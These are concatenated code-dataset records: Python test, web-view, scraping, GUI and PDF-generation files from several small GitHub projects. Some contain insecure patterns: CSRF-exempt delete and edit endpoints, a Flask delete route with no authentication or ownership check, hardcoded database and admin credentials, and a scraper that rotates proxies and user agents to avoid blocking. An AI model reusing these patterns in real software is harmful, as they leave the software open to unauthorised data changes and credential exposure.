training.\n\"\"\"\n\nimport datetime\nimport itertools\nfrom pathlib import Path\nfrom test.assets import FACE_IMAGE_PATH, NO_FACE_IMAGE_PATH\nfrom typing import List, Optional, Tuple\n\nimport pytest\nfrom py._path.local import LocalPath\n\nfrom gance import pi_images_common, select_good_face_images\n\n\ndef create_images_in_directory(\n parent_directory: Path, dataset_name: str, image_path: Path, num_images: int\n) -> Tuple[Path, List[Path]]:\n \"\"\"\n Wrapper to copy a given image n times into a directory.\n :param parent_directory: The path to the parent directory to create this new directory\n of images in.\n :param dataset_name: Used for the directory name and the file names.\n :param image_path: The path to the source image.\n :param num_images: The num copies of the image to make.\n :return: A Tuple, (directory with images, list of paths to images)\n \"\"\"\n\n directory = parent_directory.joinpath(dataset_name)\n directory.mkdir()\n\n return (\n directory,\n make_copies_of_image(\n destination_directory=directory,\n source_file=image_path,\n num_copies=num_images,\n dataset_name=dataset_name,\n ),\n )\n\n\n@pytest.mark.parametrize(\n (\n \"num_face_images_primary,\"\n \"num_no_face_images_primary,\"\n \"num_face_images_secondary,\"\n \"num_no_face_images_secondary,\"\n \"target_num_images\"\n ),\n [\n (1, 1, 1, 0, 3),\n (1, 1, 0, 1, 3),\n (1, 0, 1, 1, 3),\n (0, 1, 1, 1, 3),\n (3, 0, 0, 0, 3),\n (0, 3, 0, 0, 3),\n (0, 0, 3, 0, 3),\n (0, 0, 0, 3, 3),\n ],\n)\ndef test_select_images_for_training( # pylint: disable=too-many-locals\n tmpdir: LocalPath,\n num_face_images_primary: int,\n num_no_face_images_primary: int,\n num_face_images_secondary: int,\n num_no_face_images_secondary: int,\n target_num_images: int,\n) -> None:\n \"\"\"\n Makes sure the selection procedure works as expected using real images.\n Creates four directories, two passed as primary and two passed as secondary.\n :param tmpdir: Test fixture.\n :param num_face_images_primary: Num images containing a face to be put in the primary, with\n faces directory.\n :param num_no_face_images_primary: Num images that do not contain a face to be put in the\n primary, without faces directory.\n :param num_face_images_secondary: Num images containing a face to be put in the secondary, with\n faces directory.\n :param num_no_face_images_secondary: Num images that do not contain a face to be put in the\n secondary, without faces directory.\n :param target_num_images: The desired num images to select from the primary/secondary\n directories.\n :return: None\n \"\"\"\n\n tmpdir_path = Path(tmpdir)\n\n face_images_primary, no_face_images_primary, face_images_secondary, no_face_images_secondary = [\n create_images_in_directory(tmpdir_path, dataset_name, image_path, num_images)\n for dataset_name, image_path, num_images in [\n (\"face_images_primary\", FACE_IMAGE_PATH, num_face_images_primary),\n (\"no_face_images_primary\", NO_FACE_IMAGE_PATH, num_no_face_images_primary),\n (\"face_images_secondary\", FACE_IMAGE_PATH, num_face_images_secondary),\n (\"no_face_images_secondary\", NO_FACE_IMAGE_PATH, num_no_face_images_secondary),\n ]\n ]\n\n output = select_good_face_images.select_images_for_training(\n primary_directory=[str(face_images_primary[0]), str(no_face_images_primary[0])],\n secondary_directory=[str(face_images_secondary[0]), str(no_face_images_secondary[0])],\n target_num_images=target_num_images,\n )\n\n # Make sure we only iterate through the output list once.\n output_in_order = iter(output.path_and_bounding_boxes)\n\n # Order matters for the first part of the list\n assert all(\n expected_image == output_image.path_to_image\n for output_image, expected_image in zip(\n output_in_order, itertools.chain(face_images_primary[1], face_images_secondary[1])\n )\n )\n\n # Order doesn't matter with this half of the list\n randomly_selected_images = set(\n itertools.chain(no_face_images_primary[1], no_face_images_secondary[1])\n )\n assert all(\n (output_image.path_to_image in randomly_selected_images) for output_image in output_in_order\n )\n\n num_available_images = (\n num_face_images_primary\n + num_face_images_secondary\n + num_no_face_images_primary\n + num_no_face_images_secondary\n )\n num_output_images = len(output.path_and_bounding_boxes)\n\n assert (\n (num_output_images == target_num_images)\n if (num_available_images > target_num_images)\n else num_output_images == num_available_images\n )\n\n\n@pytest.mark.parametrize(\n \"file_name,timestamp\",\n [\n (\n \"april_27_cottage_session_1_04-28-2021_11-48-52-507461\",\n datetime.datetime(\n year=2021, month=4, day=28, hour=11, minute=48, second=52, microsecond=507461\n ),\n ),\n (\n \"april_27_cottage_session_1_04-28-2021_11-50-12-752379\",\n datetime.datetime(\n year=2021, month=4, day=28, hour=11, minute=50, second=12, microsecond=752379\n ),\n ),\n (\n \"april_27_cottage_session_1_04-28-2021_11-50-48-250746\",\n datetime.datetime(\n year=2021, month=4, day=28, hour=11, minute=50, second=48, microsecond=250746\n ),\n ),\n ],\n)\ndef test_parse_timestamp_from_filename(file_name: str, timestamp: datetime.datetime) -> None:\n \"\"\"\n Tests to make sure the parsing function works using some real names.\n :param file_name: The string to parse.\n :param timestamp: The expected parse result.\n :return: None\n \"\"\"\n assert select_good_face_images.parse_timestamp_from_filename(file_name) == timestamp\n\n\ndef make_copies_of_image(\n destination_directory: Path,\n num_copies: int,\n source_file: Path,\n dataset_name: Optional[str] = None,\n) -> List[Path]:\n \"\"\"\n Helper function, makes `num_copies` copies of `source_file` in `destination_directory`.\n :param destination_directory: The location to copy the file to.\n :param num_copies: The num copies to make.\n :param source_file: The image to copy.\n :param dataset_name: If given, images will be created with this dataset name. If not given,\n the dataset name is the name of the image file without an extension.\n :return: The list of the new files.\n \"\"\"\n\n destinations = [\n destination_directory.joinpath(\n pi_images_common.create_image_filename(\n dataset_name=dataset_name\n if dataset_name is not None\n else source_file.with_suffix(\"\").name,\n capture_time=datetime.datetime.now(),\n )\n )\n for _ in range(num_copies)\n ]\n\n for path in destinations:\n select_good_face_images.copy(\n select_good_face_images.SourceDestination(source=source_file, destination=path)\n )\n\n return destinations\n\n\n@pytest.mark.parametrize(\n \"num_face_images,num_no_face_images\", [(1, 0), (0, 1), (1, 1), (10, 0), (0, 10), (10, 10)]\n)\ndef test__scan_images_in_directories(\n tmpdir: LocalPath, num_face_images: int, num_no_face_images: int\n) -> None:\n \"\"\"\n Test the image scanning function using real images.\n :param tmpdir: Test fixture.\n :param num_face_images: The num images with faces to create/detect.\n :param num_no_face_images:The num images without faces to create/detect.\n :return: None\n \"\"\"\n tmpdir_path = Path(tmpdir)\n\n faces_directory, _ = create_images_in_directory(\n tmpdir_path, FACE_IMAGE_PATH.with_suffix(\"\").name, FACE_IMAGE_PATH, num_face_images\n )\n no_faces_directory, _ = create_images_in_directory(\n tmpdir_path, NO_FACE_IMAGE_PATH.with_suffix(\"\").name, NO_FACE_IMAGE_PATH, num_no_face_images\n )\n\n (\n result_faces,\n result_no_faces,\n ) = select_good_face_images._scan_images_in_directories( # pylint: disable=protected-access\n [faces_directory, no_faces_directory]\n )\n\n assert all(\n select_good_face_images._contains_face(result) is True # pylint: disable=protected-access\n for result in result_faces\n )\n assert all(\n select_good_face_images._contains_face(result) is False # pylint: disable=protected-access\n for result in result_no_faces\n )\n","repo_name":"esologic/GANce","sub_path":"test/test_select_good_face_images.py","file_name":"test_select_good_face_images.py","file_ext":"py","file_size_in_byte":8585,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"16832904428","text":"import time\nimport json\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom database import Database\n\nSQL_TABLE = 'deductible_table'\nSQL_COLUMNS = ['deductible_key', 'deductible_name','price']\n\n\ndef deductibles_view(request):\n start = time.time()\n database = Database()\n items, _ = database.read_from_database(sql_table=SQL_TABLE,\n sql_columns=SQL_COLUMNS,\n sql_filters={})\n columns = []\n for item in items[0]:\n columns.append(item.upper().replace('_', ' '))\n\n context = {'columns': columns}\n print(f'Read Time: {time.time() - start}')\n page = render(request, 'deductibles/deductibles_view.html', context)\n print(f'Render: {time.time() - start}')\n return page\n\n\ndef deductibles_data(request):\n database = Database()\n items, _ = database.read_from_database(sql_table=SQL_TABLE,\n sql_columns=SQL_COLUMNS,\n sql_filters={})\n return JsonResponse({'data': items[1::]})\n\n\n@csrf_exempt\ndef delete_rows(request):\n database = Database()\n items, _ = database.read_from_database(sql_table=SQL_TABLE,\n sql_columns=SQL_COLUMNS,\n sql_filters={})\n columns = items[0]\n query = ''\n rows = json.loads(request.POST.get('rows'))\n for row in rows:\n sql_filters = {}\n for i in range(len(row)):\n sql_filters[columns[i]] = row[i]\n query = database.delete_item(sql_filters=sql_filters,\n sql_table=SQL_TABLE)\n print(query)\n\n return JsonResponse({'data': query})\n\n\n@csrf_exempt\ndef edit_row(request):\n database = Database()\n items, _ = database.read_from_database(sql_table=SQL_TABLE,\n sql_columns=SQL_COLUMNS,\n sql_filters={})\n columns = items[0]\n edited_row = json.loads(request.POST.get('deductible_key'))\n sql_filters = {columns[0]: edited_row[0]}\n sql_update = {}\n for i in range(1, len(columns)):\n sql_update[columns[i]] = edited_row[i]\n\n query = database.edit_item(sql_table=SQL_TABLE,\n sql_filters=sql_filters,\n sql_updates=sql_update)\n print(query)\n\n return JsonResponse({'data': query})\n","repo_name":"TristanMontanez/3MDB_django","sub_path":"mysite/deductibles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37819999105","text":"# -*-coding:UTF-8 -*-\n\n#数据库连接表内容\n\nfrom time import sleep\n\nfrom pymysql import connect\nfrom pymysql.cursors import Cursor\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\n\n# 一、先 webdriver:引出包,再进行下一步操作\n# ..\\drivers\\chromedriver.exe:返回到drivers包下的chromedriver.exe\n#找到网址,跟踪进去\ndriver=webdriver.Chrome('..\\drivers\\chromedriver.exe')\ndriver.get('http://192.168.1.4/ecshop/admin/privilege.php?act=login')\n#最大化这个网址\ndriver.maximize_window()\n\n#二、登录谷歌----在网址上写入账户和密码\n#点击右键-检查可看到name=username\ndriver.find_element_by_name('username').send_keys('caichang')\ndriver.find_element_by_name('password').send_keys('caichang1')\n#不用键盘登录\ndriver.find_element_by_class_name('btn-a').click()\n#键盘登录(ENTER)\n# driver.find_element_by_class_name('btn-a').send_keys(Keys.ENTER)\n\nsleep(1)\n#在商品列表点击-----检查------找到menu-frame\n#switch_to_frame:进\n#find_element_by:输入\n#.click:点一下(相当于鼠标点击)\ndriver.switch_to.frame('menu-frame')\ndriver.find_element_by_link_text('商品列表').click()\n#出去重新进一个\ndriver.switch_to.default_content()\n#在搜索点击-----检查------找到menu-frame\n#进入到查询\ndriver.switch_to.frame('main-frame')\nsleep(2)\n#输入要搜索的商品(车)\ndriver.find_element_by_name('keyword').send_keys('车')\n#' 搜索 '需去 检查 复制过来,因为你不知道他有多少空格存在\ndriver.find_element_by_xpath(\"/html/body/div[3]/form/input[2]\").click()\n\n\n# //*[@id=\"listDiv\"]/table[1]/tbody/tr[3]/td[2]/span---- 在平衡车处 点击检查,右键点击copy(copy xpath)\n#复制到下面\nsleep(1)\n \nsearch_text = driver.find_element_by_xpath('//*[@id=\"listDiv\"]/table[1]/tbody/tr[3]/td[2]/span').text\nsearch_total = driver.find_element_by_id('totalRecords').text \n\n#三、打开MySQL数据库内容\nconn = connect('192.168.1.4','root','root','ecshop',3306)\n#游标\ncursor = conn.cursor()\n#打开MySQL:ecs_goods的表格:显示:goods_name\ncursor.execute(\"select goods_name from ecs_goods where goods_name like '%车%'\")\n\n\n#fetchall(光标执行所有内容)\n#fetchone(光标执行一个内容)\n#抓取上面:(select goods_name from ecs_goods where goods_name like '%车%)的值\n#用rs定义\nrs = cursor.fetchall()\n# print(rs)\n\n#打开MySQL:ecs_goods的表格,count(*):统计表格的数据\ncursor.execute(\"select count(*) from ecs_goods where goods_name like '%车%'\")\n#抓取上面:(select count(*) from ecs_goods where goods_name like '%车%)的值\n#用total来定义\ntotal=cursor.fetchone()\n#谷歌的search_text和数据库的goods_name;谷歌的search_total和数据库的count(*)---相对比\nif search_text==rs[0][0] and int(search_total) ==total[0] :\n print('测试通过')\nelse:\n print(\"测试不通过\")\ncursor.close()\nconn.close()\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"wangweiwei1997/python_study","sub_path":"ui/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34355147394","text":"from flask import *\nfrom flask_login import login_required, current_user\nfrom . import dynamic\nfrom app import db, conn\nfrom app.models import Dynamic, Image, Comment, User, ImageType\nfrom app.views import showdynamic, byte2int\nfrom app import fdfs_client, fdfs_addr\nfrom event.event_queue import fireEvent\nfrom event.model import EventType, EventModel, EntityType\n\n\n@dynamic.route(\"/\", methods={'get', 'post'})\n@login_required\ndef detail(dynamicid):\n dynamic = Dynamic.query.filter_by(id=dynamicid).first()\n if dynamic==None:\n abort(404)\n dict = showdynamic(dynamic, True)\n return render_template('dynamicdetail.html', dynamic=dict)\n\n\n@dynamic.route(\"/adddynamic\", methods={'get', 'post'})\n@login_required\ndef index():\n if request.method == 'POST':\n content = request.values.get('dynamiccontent').strip()\n imgid = request.values.get('imgid')\n compareimgid = request.values.get('compareimgid')\n dynamic = Dynamic(content, current_user.id)\n db.session.add(dynamic)\n db.session.flush()\n db.session.commit()\n if imgid == None:\n files = request.files.getlist('dynamicimg')\n for f in files:\n filename = f.filename\n if filename == None or filename == '': break\n f = f.read()\n suffix = filename[filename.find('.') + 1:]\n url = fdfs_addr + fdfs_client.uploadbyBuffer(f, suffix)\n name = url[url.rfind('/') + 1:]\n img = Image(name, url, ImageType.ORIGIN, -1, current_user.id, dynamic.id)\n db.session.add(img)\n db.session.commit()\n fireEvent(EventModel(EventType.DYNAMIC, current_user.id, EntityType.DYNAMIC, dynamic.id, current_user.id,\n {'detail': '/dynamic/' + str(dynamic.id)}))\n else:\n img = Image.query.filter_by(id=imgid).first()\n compareimg = Image.query.filter_by(id=compareimgid).first()\n img.dynamic_id = dynamic.id\n compareimg.dynamic_id = dynamic.id\n db.session.commit()\n fireEvent(EventModel(EventType.SHARE, current_user.id, EntityType.DYNAMIC, dynamic.id, current_user.id,\n {'detail': '/dynamic/' + str(dynamic.id)}))\n return redirect('/')\n else:\n imgid = request.args.get('imgid')\n if imgid == None:\n return render_template('adddynamic.html')\n else:\n content = ''\n img = Image.query.filter_by(id=imgid).first() # 处理之后的图片\n if ImageType(img.action) == ImageType.SRCNN:\n compareimg = Image.query.filter_by(id=img.orig_id).first() # 原图\n content = '原图和系统处理过之后的图片比较'\n elif ImageType(img.action) == ImageType.UPSCALE_2X:\n compareimg = Image.query.filter_by(orig_id=img.orig_id,\n action=ImageType.BICUBIC_UPSCALE_2X.value).first()\n content = '传统的2x处理和系统SRCNN的2x处理的图片比较'\n elif ImageType(img.action) == ImageType.UPSCALE_3X:\n compareimg = Image.query.filter_by(orig_id=img.orig_id,\n action=ImageType.BICUBIC_UPSCALE_3X.value).first()\n content = '传统的3x处理和系统SRCNN的3x处理的图片比较'\n return render_template('adddynamic.html', img=img, compareimg=compareimg, content=content)\n\n\n@dynamic.route(\"/delete\", methods={'get', 'post'})\ndef delete():\n data = json.loads(request.get_data(as_text=True))\n dynamicid = data['dynamicid']\n dynamic = Dynamic.query.filter_by(id=dynamicid).first()\n # 删除内容\n db.session.delete(dynamic)\n db.session.commit()\n # 处理图片\n imgs = Image.query.filter_by(dynamic_id=int(dynamicid)).all()\n for img in imgs:\n # 看当前图片是不是属于某个相册,如果属于的话,表明它是分享系统的动态,仅仅是改变属性\n rediskey = 'useralbum:' + str(current_user.id)\n flag = False\n for albumid in conn.smembers(rediskey):\n albumid = byte2int(albumid)\n rediskey2 = 'album:' + str(current_user.id) + ':' + str(albumid)\n isalbum = conn.zrank(rediskey2, img.id)\n if isinstance(isalbum, int): # 是相册的\n img.dynamic_id = -1\n flag = True\n break\n if (flag == False):\n fdfs_client.delete(img.url[len(fdfs_addr):])\n db.session.delete(img)\n db.session.commit()\n # 处理评论\n comments = Comment.query.filter_by(entityType=EntityType.DYNAMIC.value, entityId=dynamicid).all()\n for comment in comments:\n deletecomments(comment.id,[])\n # 处理点赞\n rediskey = 'like:' + dynamicid\n likecount = conn.scard(rediskey)\n conn.delete(rediskey)\n rediskey2 = 'likeuser:' + str(current_user.id)\n conn.set(rediskey2, int(conn.get(rediskey2)) - likecount)\n return jsonify(code=200, message='删除成功')\n\n\n@dynamic.route(\"/more\", methods={'get', 'post'})\ndef more():\n data = json.loads(request.get_data(as_text=True))\n id = data['id']\n dynamic = Dynamic.query.filter_by(id=id).first()\n return jsonify(code=200, content=dynamic.content)\n\n\n@dynamic.route(\"/packup\", methods={'get', 'post'})\ndef packup():\n data = json.loads(request.get_data(as_text=True))\n id = data['id']\n dynamic = Dynamic.query.filter_by(id=id).first()\n return jsonify(code=200, content=dynamic.content[0:200])\n\n\n@dynamic.route(\"/comment\", methods={'get', 'post'})\ndef comment():\n if isinstance(current_user.is_anonymous, bool):\n return jsonify(code=400, message='用户尚未登录,无法评论')\n data = json.loads(request.get_data(as_text=True))\n type = data['type']\n id = data['id']\n content = data['content']\n userid = data['userid']\n if type == 'dynamic':\n comment = Comment(content, current_user.id, EntityType.DYNAMIC, id)\n dynamic=Dynamic.query.filter_by(id=int(id)).first()\n db.session.add(comment)\n db.session.flush()\n db.session.commit()\n if dynamic.user_id!=current_user.id:\n fireEvent(EventModel(EventType.COMMENT, current_user.id, EntityType.DYNAMIC, id, dynamic.user_id,\n {'detail': '/dynamic/' + id,'name':current_user.nickname}))\n return jsonify(code=200, username=current_user.nickname, userid=current_user.id, content=content,\n commentid=comment.id)\n else:\n if int(userid) == current_user.id:\n return jsonify(code=400, message='用户不能回复自己')\n actoruser = User.query.filter_by(id=userid).first()\n comment = Comment(content, current_user.id, EntityType.COMMENT, id)\n db.session.add(comment)\n db.session.commit()\n fireEvent(EventModel(EventType.COMMENT, current_user.id, EntityType.COMMENT, id, userid,\n {'detail': '/dynamic/' + id, 'name': current_user.nickname}))\n return jsonify(code=201, username=current_user.nickname, userid=current_user.id, content=content,\n commentid=comment.id, actorname=actoruser.nickname)\n\n\n@dynamic.route(\"/deletecomment\", methods={'get', 'post'})\ndef deletecomment():\n data = json.loads(request.get_data(as_text=True))\n commentid = data['commentid']\n commentlist=[]\n deletecomments(int(commentid),commentlist)\n return jsonify(code=200,commentlist=commentlist)\n\ndef deletecomments(commentid,commentlist):\n comment = Comment.query.filter_by(id=commentid).first()\n commentlist.append(comment.id)\n db.session.delete(comment)\n comments=Comment.query.filter_by(entityType=EntityType.COMMENT.value,entityId=comment.id).all()\n if len(comments)==0:\n db.session.commit()\n return\n for comment in comments:\n deletecomments(comment.id,commentlist)\n\n@dynamic.route('/like', methods={'get', 'post'})\ndef like():\n data = json.loads(request.get_data(as_text=True))\n dynamicid = data['dynamicid']\n # 是否点赞过\n dynamic = Dynamic.query.filter_by(id=dynamicid).first()\n rediskey = 'like:' + dynamicid\n rediskey2 = 'likeuser:' + str(dynamic.user_id)\n if isinstance(current_user.is_anonymous, bool):\n return jsonify(code=400, message='用户尚未登录,无法点赞')\n if conn.sismember(rediskey, current_user.id): # 如果已经点赞过\n conn.srem(rediskey, current_user.id)\n conn.set(rediskey2, int(conn.get(rediskey2)) - 1)\n return jsonify(code=201, likecount=conn.scard(rediskey))\n else:\n conn.sadd(rediskey, current_user.id)\n if conn.get(rediskey2) != None:\n conn.set(rediskey2, int(conn.get(rediskey2)) + 1)\n else:\n conn.set(rediskey2, 1)\n return jsonify(code=200, likecount=conn.scard(rediskey))\n","repo_name":"chengcongyuegithub/image_processing","sub_path":"app/dynamic/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16419063885","text":"#루트 계산 함수 만들기_뉴턴 랩슨법_2022/07/09\n#a = 계산할 숫자, b = 초기값 \ndef GetRoot( a, b ):\n i = 1\n while i <= 10:\n b =(b + a/b) / 2\n i += 1\n return b\n#초기값을 넣지 않는 함수를 만들 방법이 있을까?\n\n","repo_name":"minjae990811/HomeWork","sub_path":"work1.py","file_name":"work1.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31713763765","text":"import pygame\n\nfrom drawable_objects.base import AbstractObject\nfrom drawable_objects.menu.button import Button\nfrom drawable_objects.menu.checkbox import CheckBox\nfrom drawable_objects.menu.list_widget import ListWidget\nfrom drawable_objects.menu.multiline_text import MultilineText\nfrom drawable_objects.menu.text import Text\nfrom drawable_objects.menu.textbox import TextBox\nfrom drawable_objects.menu.widget_row import WidgetRow\nfrom geometry.point import Point\nfrom geometry.rectangle import rectangle_to_rect\n\n\nclass WidgetGroup(AbstractObject):\n \"\"\"\n Класс для динамического выравнивания виджетов по центру\n Виджет - объект с полем geometry\n\n :param scene: сцена, на которой кнопка находится\n :param controller: контроллер\n :param offset: оффсет центра в процентах [(0-1), (0-1)] относительно размеров окна\n :param widget_offset: расстояние между виджетами (что бы они не слипались)\n \"\"\"\n\n BUTTON_DEF_SIZE = [150, 60]\n CHECKBOX_DEF_SIZE = 20\n\n def __init__(self, scene, controller, offset, widget_offset=0):\n super().__init__(scene, controller)\n self.offset = Point(*offset)\n self.pos = self.get_base_pos()\n self.widget_offset = widget_offset\n self.widgets = []\n\n def get_base_pos(self):\n \"\"\"\n расчитывает базовую точку ��ля группы виджетов\n \"\"\"\n return Point(\n self.scene.game.width * self.offset.x,\n self.scene.game.height * self.offset.y\n )\n\n def recalc_pos(self):\n \"\"\"\n Перерасчет позиций виджетов для выравнивания по центру (относительно оффсета)\n \"\"\"\n newpos = self.get_base_pos()\n if newpos != self.pos:\n self.move(newpos - self.pos)\n self.pos = newpos\n\n def move(self, movement):\n \"\"\"\n Передвигает все виджеты параллельным переносом на заданный вектор.\n\n :param movement: вектор переноса\n \"\"\"\n for widget in self.widgets:\n widget.move(movement)\n\n def get_actual_pos(self):\n \"\"\"\n Получение точки для верхней границы нового виджета\n\n :return: точка верхней границы нового виджета\n \"\"\"\n if self.widgets:\n last = self.widgets[-1].geometry\n return Point(last.center.x, last.bottom + self.widget_offset)\n return self.pos\n\n def add_button(self, text, function, kwargs={}, size=None):\n \"\"\"\n Добавляет кнопку в отображаемые виджеты\n\n :param size: точка, состаящия из высоты(x) и ширины(y) кнопки\n :param text: текст для кнопки\n :param function: вызываемая кнопкой при нажатии на неё функция\n :param kwargs: аргументы вызываемой функции\n \"\"\"\n if not size:\n size = Point(*WidgetGroup.BUTTON_DEF_SIZE)\n pos = self.get_actual_pos()\n geometry = (pos.x - size.x / 2, pos.y,\n pos.x + size.x / 2, pos.y + size.y)\n btn = Button(self.scene, self.controller,\n geometry, text, function, kwargs)\n self.widgets.append(btn)\n\n def add_checkbox(self, text, size=None) -> CheckBox:\n \"\"\"\n Добавляет чекбокс в отображаемые виджеты\n\n :param text: Текст для чекбокса\n :param size: Размеры чекбокса (самого квадрата)\n :return: ссылка на созданный checkbox\n \"\"\"\n if not size:\n size = WidgetGroup.CHECKBOX_DEF_SIZE\n pos = self.get_actual_pos()\n pos.y += size / 2\n box = CheckBox(self.scene, self.controller,\n pos, size, text, align='center')\n self.widgets.append(box)\n return box\n\n def add_multilinetext(self, text, **text_kwargs):\n \"\"\"\n Добавляет многострочный текст в отображаемые виджеты\n\n :param text: многострочный текст\n :param text_kwargs: аргументы многострочного текста\n \"\"\"\n pos = self.get_actual_pos()\n label = MultilineText(self.scene, Point(0, 0), text, **text_kwargs)\n label.move(pos)\n self.widgets.append(label)\n\n def add_textbox(self, size, prompt_str):\n \"\"\"\n Добавляет текстбокс в отображаемые объекты\n :param size: Point с указанием размеров\n :param prompt_str: строка подсказки\n \"\"\"\n pos = self.get_actual_pos()\n geom = (pos.x - size.x/2, pos.y + self.widget_offset,\n pos.x + size.x/2, pos.y + self.widget_offset + size.y)\n textbox = TextBox(self.scene, self.controller, geom, prompt_str)\n self.widgets.append(textbox)\n\n def add_list_widget(self, size, item_height, elements):\n \"\"\"\n Добавляет список миров в отображаемые объекты\n :param size: Point с размерами списка\n :param item_height: высота элемента списка\n :param elements: список элементов\n \"\"\"\n pos = self.get_actual_pos()\n size /= 2\n geom = (pos.x - size.x, pos.y - size.y,\n pos.x + size.x, pos.y + size.y)\n list_widget = ListWidget(self.scene, self.controller, geom, item_height, elements)\n self.widgets.append(list_widget)\n\n def add_widget_row(self, widget_offset):\n \"\"\"\n Добавляет строку виджетов в отображаемые объекты\n \"\"\"\n pos = self.get_actual_pos()\n offset = pos.y\n widgetrow = WidgetRow(self.scene, self.controller, offset, widget_offset)\n self.widgets.append(widgetrow)\n\n def update_offset(self, offset):\n \"\"\"\n Изменение оф��сета для отображения группы виджетов\n\n :param offset: новоый оффсет\n \"\"\"\n self.offset = Point(*offset)\n self.recalc_pos()\n\n def process_logic(self):\n self.recalc_pos()\n for widget in self.widgets:\n widget.process_logic()\n\n def process_draw(self):\n for widget in self.widgets:\n widget.process_draw()\n # pygame.draw.rect(self.scene.screen, (255, 0, 0), rectangle_to_rect(widget.geometry), 4)\n","repo_name":"Firbearded/space-caravan","sub_path":"drawable_objects/menu/widget_group.py","file_name":"widget_group.py","file_ext":"py","file_size_in_byte":6994,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35783617999","text":"import pandas as pd\nfrom fpdf import FPDF\nimport glob\nfrom pathlib import Path\n\n\nfilepaths = glob.glob(\"Invoices/*.xlsx\")\n\nfor file in filepaths:\n pdf = FPDF(orientation=\"P\", unit=\"mm\", format=\"A4\")\n df = pd.read_excel(file, sheet_name=\"Sheet 1\")\n pdf.add_page()\n filename = Path(file).stem\n invoice_no = filename.split('-')[0]\n date = filename.split('-')[1]\n\n pdf.set_font(family=\"arial\", style=\"BU\", size=18)\n pdf.cell(w=100, h=10, txt=f\"Invoice No. = {invoice_no}\", align=\"L\",\n border=0, ln=1)\n pdf.cell(w=100, h=10, txt=f\"Date = {date}\", align=\"l\",\n border=0, ln=1)\n pdf.ln(10)\n\n col = df.columns\n col = [item.replace(\"_\", \" \").title() for item in col]\n pdf.set_font(family=\"arial\", style=\"\", size=10)\n pdf.set_line_width(0.4)\n pdf.cell(w=31, h=8, txt=col[0], border=1, ln=0, align=\"L\")\n pdf.cell(w=63, h=8, txt=col[1], border=1, ln=0, align=\"L\")\n pdf.cell(w=32, h=8, txt=col[2], border=1, ln=0, align=\"R\")\n pdf.cell(w=32, h=8, txt=col[3], border=1, ln=0, align=\"R\")\n pdf.cell(w=32, h=8, txt=col[4], border=1, ln=1, align=\"R\")\n\n for index, row in df.iterrows():\n pdf.set_font(family=\"arial\", style=\"\", size=10)\n pdf.set_line_width(0.2)\n pdf.cell(w=31, h=8, txt=str(row[\"product_id\"]), border=1,\n ln=0, align=\"L\")\n pdf.cell(w=63, h=8, txt=row[\"product_name\"], border=1,\n ln=0, align=\"L\")\n pdf.cell(w=32, h=8, txt=str(row[\"amount_purchased\"]), border=1,\n ln=0, align=\"R\")\n pdf.cell(w=32, h=8, txt=str(row[\"price_per_unit\"]), border=1,\n ln=0, align=\"R\")\n pdf.cell(w=32, h=8, txt=str(row[\"total_price\"]), border=1,\n ln=1, align=\"R\")\n\n pdf.cell(w=190, h=8, txt=str(df['total_price'].sum()), border=1,\n ln=1, align=\"R\")\n pdf.ln(20)\n pdf.set_font(family=\"arial\", style=\"B\", size=12)\n pdf.cell(w=190, h=8,\n txt=f\"The total due amount is {df['total_price'].sum()} euros\",\n border=0, ln=1, align=\"L\")\n\n pdf.output(f\"{filename}.pdf\")\n","repo_name":"rahul941999/excel_to_pdf_invoice","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71971492251","text":"# -*- coding:utf-8 -*-\nimport scrapy\nfrom scrapy import Request\nfrom urllib import quote\nfrom Spdertaobao.items import SpdertaobaoItem\nimport sys\nimport random\n\nfrom Spdertaobao import settings\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\n\nclass taobaoSpider(scrapy.spiders.Spider):\n name = 'taobao'\n allowed_domains = ['www.taobao.com']\n base_url = ['https://s.taobao.com/search?q=']\n header = random.choice(settings.MY_USER_AGENT)\n ip = random.choice(settings.IPPOOL)\n\n\n def start_requests(self):\n for keyword in self.settings.get('KEYWORDS'):\n for page in range(1, self.settings.get('MAX_PAGE') + 1):\n url = self.base_url[0] + quote(keyword)\n yield Request(url=url, callback=self.parse,meta={'proxy':self.ip, 'User-Agent':self.header, 'page':page} ,dont_filter=True)\n\n def parse(self, response):\n # with open('2.txt', 'wb') as f:\n # f.write(response.body)\n print('1')\n item = SpdertaobaoItem()\n\n for i in range(1,3):\n # products = response.xpath('//div[@class=\"grid g-clearfix\"]/div[i]' % i).extract()\n products = response.xpath('//div[@id=\"mainsrp-itemlist\"]//div[@class=\"items\"][%s]//div[contains(@class, \"item\")]'%i)\n # print(len(products))\n # print(products)\n for product in products:\n pic_url = ''.join(product.xpath('//div[contains(@class, \"pic\")]//img[contains(@class,img)]/@src').extract()[0]).strip()\n price = ''.join(product.xpath('.//div[contains(@class, \"price\")]//text()').extract()).strip()\n deal = ''.join(product.xpath('.//div[contains(@class,\"deal-cnt\")]//text()').extract()).strip()\n shop = ''.join(product.xpath('.//div[contains(@class,\"shop\")]//text()').extract()).strip()\n title = ''.join(product.xpath('.//div[contains(@class,\"title\")]//text()').extract()).strip()\n\n # print(pic_url,price,deal,shop,title)\n item['pic_url'] = pic_url\n item['price'] = price\n item['deal'] = deal\n item['shop'] = shop\n item['title'] = title\n yield 